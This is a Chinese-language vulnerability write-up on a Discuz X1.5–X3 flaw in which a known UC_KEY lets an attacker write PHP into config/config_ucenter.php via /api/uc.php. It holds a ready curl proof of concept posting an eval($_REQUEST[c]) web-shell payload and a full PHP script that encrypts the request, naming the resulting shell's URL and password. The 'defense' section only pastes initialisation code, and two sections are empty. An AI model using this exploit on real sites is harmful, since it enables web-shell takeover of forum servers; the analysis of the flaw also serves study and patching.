Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

在Discuz中，uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell

[b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b]

http://www.wooyun.org/bugs/wooyun-2014-048137

2. 漏洞触发条件

1. 必须知道UC_KEY，通常在配置文件里，或者ucenter的原始(没有经过修改的)数据库(应用)中
2. 配置文件config.inc.php必须可写

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\');eval(\\$_REQUEST[c]);#"

<?php

$key = 'd0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872';# uc_key 写在这里
$url = 'http://localhost/discuz/upload/api/uc.php';
$arg = 'action=updateapps&time='.time(); #拿webshell：http://localhost/discuz/upload/config/config_ucenter.php 密码：c

echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';

#curl或者用其他工具post提交

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{

$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE')
{
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16))
{
return substr($result, 26);
}
else
{
return '';
}
}
else
{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

[b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b]

http://faq.comsenz.com/viewnews-391 http://0day5.com/archives/1140 http://www.waitalone.cn/discuz-uc_key-getshell.html http://www.sqlmap.cc/post-134.html[/code] 
3. 漏洞影响范围
4. 漏洞代码分析

/api/uc.php

function updateapps($get, $post)
{
global $_G;

if(!API_UPDATEAPPS)
{
return API_RETURN_FORBIDDEN;
}

$UC_API = '';
if($post['UC_API'])
{
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}

$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);

if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php'))
{
//Discuz x系列的添加了个正则 所以加个 http://、https:// if(preg_match('/^https?:\/\//is', $UC_API))
{
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
/*
这行代码是漏洞的关键
1. 第一次提交: \');phpinfo();
/config/config_ucenter.php里的define那句就变成了: define('UC_API','\');phpinfo();');

2. 第二次再提交
非贪婪匹配会匹配到: define('UC_API','\');
phpinfo();就留下来了

完成二次注入
*/
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
//$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w'))
{
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
}
return API_RETURN_SUCCEED;
}


[b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b]

http://www.wooyun.org/bugs/wooyun-2014-048137


5. 防御方法

如果说class_core.php是执行初始化的工作，或者说声明必要的内容，那么这里的C::app()->init()就是把基本上需要的内容都获取到，例如数据库连接，后台设置的内容，用户信息，session信息等等

/api/uc.php

if(!defined('IN_UC'))
{
require_once '../source/class/class_core.php';

//初始化检测
if (method_exists("C", "app"))
{
$discuz = C::app();
$discuz->init();
}

require DISCUZ_ROOT.'./config/config_ucenter.php';

$get = $post = array();

$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);

if(time() - $get['time'] > 3600) {
exit('Authracation has expiried');
}
if(empty($get)) {
exit('Invalid Request');
}

include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
$post = xml_unserialize(file_get_contents('php://input'));

if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed')))
{
$uc_note = new uc_note();
echo $uc_note->$get['action']($get, $post);
exit();
}
else
{
exit(API_RETURN_FAILED);
}
}
else
{
exit;
}


继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中

private function _get_script_url()
{
if(!isset($this->var['PHP_SELF']))
{
$scriptName = basename($_SERVER['SCRIPT_FILENAME']);
if(basename($_SERVER['SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['SCRIPT_NAME'];
}
else if(basename($_SERVER['PHP_SELF']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['PHP_SELF'];
}
else if(isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['ORIG_SCRIPT_NAME'];
}
else if(($pos = strpos($_SERVER['PHP_SELF'],'/'.$scriptName)) !== false)
{
$this->var['PHP_SELF'] = substr($_SERVER['SCRIPT_NAME'],0,$pos).'/'.$scriptName;
}
else if(isset($_SERVER['DOCUMENT_ROOT']) && strpos($_SERVER['SCRIPT_FILENAME'],$_SERVER['DOCUMENT_ROOT']) === 0)
{
$this->var['PHP_SELF'] = str_replace('\\','/',str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SERVER['SCRIPT_FILENAME']));
$this->var['PHP_SELF'][0] != '/' && $this->var['PHP_SELF'] = '/'.$this->var['PHP_SELF'];
}
else
{
system_error('request_tainting');
}
}
return $this->var['PHP_SELF'];
}

private function _init_input()
{
if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
system_error('request_tainting');
}

if(MAGIC_QUOTES_GPC) {
$_GET = dstripslashes($_GET);
$_POST = dstripslashes($_POST);
$_COOKIE = dstripslashes($_COOKIE);
}

$prelength = strlen($this->config['cookie']['cookiepre']);
foreach($_COOKIE as $key => $val) {
if(substr($key, 0, $prelength) == $this->config['cookie']['cookiepre']) {
$this->var['cookie'][substr($key, $prelength)] = $val;
}
}

if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
$_GET = array_merge($_GET, $_POST);
}

if(isset($_GET['page'])) {
$_GET['page'] = rawurlencode($_GET['page']);
}

if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) {
unset($_GET['handlekey']);
}

if(!empty($this->var['config']['input']['compatible'])) {
foreach($_GET as $k => $v) {
$this->var['gp_'.$k] = daddslashes($v);
}
}

$this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']);
$this->var['inajax'] = empty($_GET['inajax']) ? 0 : (empty($this->var['config']['output']['ajaxvalidate']) ? 1 : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? 1 : 0));
$this->var['page'] = empty($_GET['page']) ? 1 : max(1, intval($_GET['page']));
$this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : '';

if(empty($this->var['cookie']['saltkey'])) {
$this->var['cookie']['saltkey'] = random(8);
dsetcookie('saltkey', $this->var['cookie']['saltkey'], 86400 * 30, 1, 1);
}
$this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']);

}


[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]

http://blog.csdn.net/jesson002/article/details/11166827


6. 攻防思考

[b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b]

http://www.oldjun.com/blog/index.php/archives/59/ http://www.sqlmap.cc/post-17.html http://www.oldjun.com/blog/index.php/archives/76/


[b][b][b][b][b][b][b][b][b][b]Copyright (c) 2014 LittleHann All rights reserved[/b][/b][/b][/b][/b][/b][/b][/b][/b][/b]